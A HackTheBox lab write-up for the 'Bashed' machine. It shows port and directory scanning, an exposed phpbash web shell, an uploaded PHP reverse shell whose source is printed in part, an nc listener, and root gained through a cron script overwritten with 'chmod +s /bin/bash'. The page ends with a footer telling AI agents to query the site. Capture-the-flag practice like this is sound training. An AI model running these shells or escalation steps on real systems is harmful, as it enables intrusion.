# Bashed - Easy ![](/files/8BEEqK5qzmwoYsyToI6h) ## Introduction\@Bashed:\~$ | Name | [Bashed](https://app.hackthebox.com/machines/Bashed) | | ------------ | ---------------------------------------------------- | | IP | 10.10.10.68 | | Os | Linux | | Points | 20 | | Difficulty | Easy | | Creator | [Arrexel](https://app.hackthebox.com/users/2904) | | Release Date | 09 / December / 2017 | ## Enumeration ### Nmap ```javascript ┌─[sheinn101@parrot]─[~/htb/oscp/bashed] └──╼ [??]$ sudo nmap -sC -sV -oN nmap.out 10.10.10.68 Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-22 21:42 +0630 Nmap scan report for 10.10.10.68 Host is up (0.73s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Arrexel's Development Site |_http-server-header: Apache/2.4.18 (Ubuntu) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 31.41 seconds ``` There is only one opened port which is `HTTP 80.` ### Web ![](/files/lfNp4yBhFfISOOhRotgW) ![](/files/hWJuhjDGRVGtGUPXS0Ty) > phpbash is a standalone, semi-interactive web shell. It's main purpose is to assist in penetration tests where traditional reverse shells are not possible. The design is based on the default Kali Linux terminal colors, so pentesters should feel right at home. Now we should try to scan directory with `dirsearch`. ### Directory Scan ```javascript ┌─[sheinn101@parrot]─[~/htb/oscp/bashed] └──╼ [??]$ sudo dirsearch -u http://10.10.10.68/ _|. _ _ _ _ _ _|_ v0.4.1 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10903 Output File: /usr/local/lib/python3.9/dist-packages/dirsearch-0.4.1-py3.9.egg/dirsearch/reports/10.10.10.68/_21-12-22_21-50-10.txt Error Log: /usr/local/lib/python3.9/dist-packages/dirsearch-0.4.1-py3.9.egg/dirsearch/logs/errors-21-12-22_21-50-10.log Target: http://10.10.10.68/ [21:50:11] Starting: [21:50:16] 301 - 307B - /js -> http://10.10.10.68/js/ [21:50:19] 301 - 308B - /php -> http://10.10.10.68/php/ [21:51:14] 200 - 8KB - /about.html [21:52:01] 200 - 0B - /config.php [21:52:03] 200 - 8KB - /contact.html [21:52:05] 301 - 308B - /css -> http://10.10.10.68/css/ [21:52:08] 200 - 1KB - /dev/ [21:52:08] 301 - 308B - /dev -> http://10.10.10.68/dev/ [21:52:17] 301 - 310B - /fonts -> http://10.10.10.68/fonts/ [21:52:24] 301 - 311B - /images -> http://10.10.10.68/images/ [21:52:24] 200 - 2KB - /images/ [21:52:26] 200 - 8KB - /index.html [21:52:28] 200 - 3KB - /js/ [21:52:49] 200 - 939B - /php/ [21:53:00] 403 - 299B - /server-status [21:53:00] 403 - 300B - /server-status/ [21:53:18] 200 - 14B - /uploads/ [21:53:18] 301 - 312B - /uploads -> http://10.10.10.68/uploads/ Task Completed ``` If we go `uploads` directory or `config.php` file, it was just a blank page and there is no interesting things. But in `/dev/` directory, we can see there is two file which is `phpbash` . ![](/files/XDZof38XBDWqI0M5xjdf) In `phpbash.php` file: ![](/files/Vva7oAlTlusd6avELEu6) We can see its was just like terminal and get a shell which is users as a `www-data` . ![](/files/ojuNVU09kbjnLyS8C4Bp) We can get `user.txt` in `arrexel` 's home directory. When we get a shell, we should always try `sudo -l` in an easy box. ```javascript www-data@bashed:/home/arrexel# sudo -l Matching Defaults entries for www-data on bashed: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on bashed: (scriptmanager : scriptmanager) NOPASSWD: ALL ``` We can use `sudo` without password for `scriptmanager` but this shell does not has persistance, so we can't escalate to `scriptmanager` user. We should try to get reverse shell to us. In this case, we can't get a reverse shell with some one liner reverse shell because of may be some filter in the backend .But we can download `reverse.php` to `uploads` and get a shell.
php-reverse-shell.php ```php array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } ?> ```
## Getting Rev Shell You can search this php reverse shell in your `kali` or `parrot` by using `locate` command.And change your ip address, port and listen with `netcat` . I created a web server to transfer that reverse shell file. ```javascript ┌─[sheinn101@parrot]─[~/htb/oscp/bashed] └──╼ [??]$ sudo python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... ``` ![](/files/IR8T3fPvh0fKUgNmEc5D) We can use `wget` to download file, go to `uploads` directory and download it. ![](/files/mB38CVwTJHpmJi2tBI7L) Now , If we go to this url, we will get a shell . {% embed url="" %} ```javascript ┌─[sheinn101@parrot]─[~/htb/oscp/bashed] └──╼ [??]$ rlwrap nc -nvlp 1337 listening on [any] 1337 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.68] 58986 Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 08:01:07 up 56 min, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ ``` I used `rlwrap` in front of `nc` to get usable `left and right` key. {% code title="Use this to get a shell as bash" %} ```javascript python3 -c 'import pty;pty.spawn("/bin/bash") ``` {% endcode %} ## Privilege Escalation Now we can escalate to `scriptmanager` user by using this command. ```javascript sudo -u scriptmanager bash whoami whoami scriptmanager scriptmanager@bashed:/home$ ``` After some enumeration, I found a folder which is own by `scriptmanager` name called `scripts` ```javascript ls -al total 16 drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 . drwxr-xr-x 23 root root 4096 Dec 4 2017 .. -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py -rw-r--r-- 1 root root 12 Dec 22 08:10 test.txt scriptmanager@bashed:/scripts$ cat test.py f = open("test.txt", "w") f.write("testing 123!") f.close ``` It runing with `cronjob` . To get root access, we need to modify `test.py` file. In this case I just gave special user permission to `/bin/bash` and you can use python reverse shell to get root access. ```javascript scriptmanager@bashed:/scripts$ echo "import os; os.system('chmod +s /bin/bash')" > test.py test.py ls -al /bin/bash -rwxr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash ls -al /bin/bash -rwxr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash ls -al /bin/bash -rwxr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash ls -al /bin/bash -rwsr-sr-x 1 root root 1037528 Jun 24 2016 /bin/bash /bin/bash -p id uid=1001(scriptmanager) gid=1001(scriptmanager) euid=0(root) egid=0(root) groups=0(root),1001(scriptmanager) whoami root cat /root/root.txt cc4f0afe3a1026d402ba10329674a8e2 bash-4.3# ``` Now we pwned it. ![](/files/UMswqkJjkI4wMFflqvdz) > --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://l33t-en0ugh.gitbook.io/infosec/hackthebox/bashed-easy.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.